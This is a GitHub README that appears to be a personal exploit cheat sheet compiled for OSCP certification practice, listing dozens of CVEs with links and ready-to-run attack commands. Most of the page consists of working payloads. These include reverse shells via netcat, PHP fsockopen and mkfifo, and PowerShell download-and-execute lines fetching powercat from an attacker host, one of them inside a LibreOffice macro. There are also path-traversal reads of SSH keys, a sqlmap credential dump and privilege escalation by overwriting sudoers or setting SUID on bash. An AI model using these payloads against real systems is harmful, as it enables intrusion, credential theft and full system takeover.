Skip to content

EssenceCyber/Exploit-List

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 

Repository files navigation

⚠️ WARNING / LEGAL DISCLAIMER

This content is intended strictly for educational purposes and authorized penetration testing in controlled environments. Unauthorized access to systems, networks, or data is illegal and can lead to criminal prosecution.

Use these exploits only on systems you own or have explicit permission to test. The author is not responsible for any misuse, damage, or legal consequences resulting from the use of this material.

Stay ethical. Hack responsibly.

About

This is a curated collection of CVEs, proof-of-concept commands, and notes compiled during my preparation for the Offensive Security Certified Professional (OSCP) certification.

Each entry includes:

  • A known CVE or technique
  • Relevant usage or exploit commands
  • A reference link
  • Tags for searchability
  • Notes based on lab testing (e.g. Hack The Box, TryHackMe, local VMs)

All exploits were tested in lab-only environments and are intended solely for learning, practicing, and enhancing practical pentesting skills.

CVE-2022-42889 - Text4Shell

wget http://:8080/search?query=%0A%0A%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27busybox%20nc%20%20%20-e%20%2Fbin%2Fsh%27%29%7D

python3 text4shell.py -u 'http://:8080/search?query=' -m rce -c 'busybox nc -e /bin/sh'

notes: easy method tags: text4shell

CVE-2022-0847 - Dirty Pipe

https://github.com/Al1ex/CVE-2022-0847

./exp /etc/passwd 1 ootz:

su rootz

notes: literally just it tags: dirtypipe, dirty pipe

CVE-2022-23940

https://github.com/manuelz120/CVE-2022-23940/blob/main/exploit.py

python3 exploit.py -u admin -p admin --payload "php -r '$sock=fsockopen("",80);exec("/bin/bash -i <&3 >&3 2>&3");'"

notes: (change target ip in code first)

CVE-2023-26469

https://raw.githubusercontent.com/Orange-Cyberdefense/CVE-repository/refs/heads/master/PoCs/CVE_Jorani.py

python3 CVE_Jorani.py

notes: quite unstable so might want to reverse shell again

CVE-2024-27115

https://www.exploit-db.com/exploits/52082

python3 SOPlanning-1.52.01-RCE-Exploit.py -t <url + path> -u admin -p admin

notes: if the URL is weird, refer to planning.php

tags: SOPlanning 1.52.01 RCE

CVE-2021-43857

https://www.exploit-db.com/exploits/50640

python3 50640.py -t -p 8000 -L -P 80

notes:(Create project first)

CVE-2023-34152

http://cve-2023-34152.py/

https://github.com/SudoIndividual/CVE-2023-34152/blob/main/CVE-2023-34152.py

python3 CVE-2023-34152.py 80

tags: ImageMagick 6.9.6-4

CVE-2021-21425

https://github.com/CsEnox/CVE-2021-21425

python3 exploit.py -t /grav-admin -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc >/tmp/f'

tags: grav, gravcms

CVE-2021-22204

https://www.exploit-db.com/exploits/50911

python3 50911.py -s

notes: curl -F myFile=@image.jpg

tags: exiftool, ExifTool 12.23

CVE-2023-43364

https://raw.githubusercontent.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection/refs/heads/main/exploit.sh

./exploit.sh

tags: searchor 2.4.2 2.4.0

CVE-2023-1177

https://github.com/iumiro/CVE-2023-1177-MLFlow https://huntr.com/bounties/52a3855d-93ff-4460-ac24-9c7e4334198d

tags: mlflow <2.1.1

CVE-2022-25018

https://github.com/MoritzHuppert/CVE-2022-25018/blob/main/CVE-2022-25018.pdf https://github.com/erlaplante/pluxml-rce

python3 pluxml.py url username password

tags: pluxml 5.8.7

CVE-2024-27697 (Barracuda)

https://www.exploit-db.com/exploits/48789 https://github.com/SanjinDedic/FuguHub-8.4-Authenticated-RCE-CVE-2024-27697

python3 exploit.py --rhost --rport 8000 --lhost --lport 80

tags: Barracuda drive 6.5, FuguHub 8.4

CVE-2024-51482

https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3

sqlmap -u 'http://$ip/zm/index.php?view=request&request=event&action=removetag&tid=1' --dbms=MySQL -D zm -T Users --dump

tags: zoneminder

CVE-2021-3129

https://github.com/FunPhishing/Laravel-8.4.2-rce-CVE-2021-3129/blob/main/exploit.py

python3 exploit.py

tags: Laravel 8.4.2

CVE-2023-6019

https://github.com/Clydeston/CVE-2023-6019/blob/main/CVE-2023-6019.py

tags: Ray OS

CVE-2024-2928

https://raw.githubusercontent.com/nuridincersaygili/CVE-2024-2928/refs/heads/main/CVE-2024-2928.py

python3 -t -p

tags: mlflow 2.9.2, mlflow cli

CVE-2022-42889 (Alt)

curl http://URL:8080/search?query=${script:javascript:java.lang.Runtime.getRuntime().exec('wget /nc.exe -O /tmp/nc.exe')}

CVE-2022-35411

https://www.exploit-db.com/exploits/50983

python3 50983.py

tags: rpc.py

CVE-2023-0297

https://www.exploit-db.com/exploits/51532

python3 51532.py -u url -c "busybox nc -e sh"

tags: pyloader 0.5.0 rce

CVE-2023-27163

python3 exploit.py ip port url

https://securitylit.medium.com/exploiting-maltrail-v0-53-unauthenticated-remote-code-execution-rce-66d0666c18c5

tags: mailtrail 0.53, mailtrail 0.52

CVE-2023-32315

https://github.com/miko550/CVE-2023-32315

python3 CVE-2023-32315.py

notes: try /plugin-admin.jsp or /plugins/openfire-management-tool-plugin/cmd.jsp tags: openfire 4.7.3

CVE-2024-27198

https://github.com/W01fh4cker/CVE-2024-27198-RCE

python3 CVE-2024-27198-RCE.py -t -u admin -p admin -f

tags: teamcity 2023.05.4

CVE-2022-25765

http://example.com/?name=#{'%20`busybox nc -e sh`'}

CVE-2022–25765 PDFKIT

https://www.exploit-db.com/exploits/51293

python3 51293.py -c ip port -w : -p

tags: PDFKIT

CVE-2024-42007

https://www.vicarius.io/vsociety/posts/novel-escape-from-the-spx-jungle-path-traversal-in-php-spx-cve-2024-42007

go run exploit.go -t

curl "http://URL//?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=../../../../../../../../../../../../../../var/www/html/phpinfo.php"

CVE-2019-7214

https://www.exploit-db.com/exploits/49216

python3 49216.py

tags: smartermail

notes:Don’t change the port of the victim unless it is on another port, otherwise remember to make changes to the script

CVE-2009-2685 HP Power Manager

https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3/tree/master

python3 hp_pm_exploit_p3.py 80 80

tags: HP Power Manager

Argus Surveillance DVR

https://www.exploit-db.com/exploits/45296

curl "http://URL:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=../../../../../../../../../../../../../../Users/Viewer/.ssh/id_rsa&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

https://www.exploit-db.com/exploits/50130

tags: DVR

Libreoffice Payload (RCE)

https://github.com/0bfxgh0st/MMG-LO/tree/main

python3

cmd payload:

cmd /c powershell -exec bypass -c ""IEX (New-Object System.Net.WebClient).DownloadString('http://LHOST:8080/powercat.ps1'); powercat -c -p -e powershell"

Libreoffice Macros ODT RCE

https://www.youtube.com/watch?v=-yQsy1SzcpE

Sub Main
Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://LHOST:8080/powercat.ps1');powercat -c -p -e powershell")
End Sub

Sudo with Ruby

echo 'exec "/bin/bash"' > app.rb

https://gist.github.com/gr33n7007h/c8cba38c5a4a59905f62233b36882325

CODOFORUM Upload Bypass

http://192.168.212.23//sites/default/assets/img/attachments/[file.php]

notes: admin panel > global settings > change forum logo

tags: CODOFORUM

Root with less

!bash

notes: Only works if less is launched with root

Root via Script Execution with root priviledge

echo "echo 'user ALL=(root) NOPASSWD: ALL' > /etc/sudoers" > exploit.sh

(user = username)

notes: Adds user to /etc/sudoers

echo "chmod 4777 /bin/bash" > exploit.sh

(priv esc with /bin/bash -p)

notes:priv esc by setting SUID on /bin/bash

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published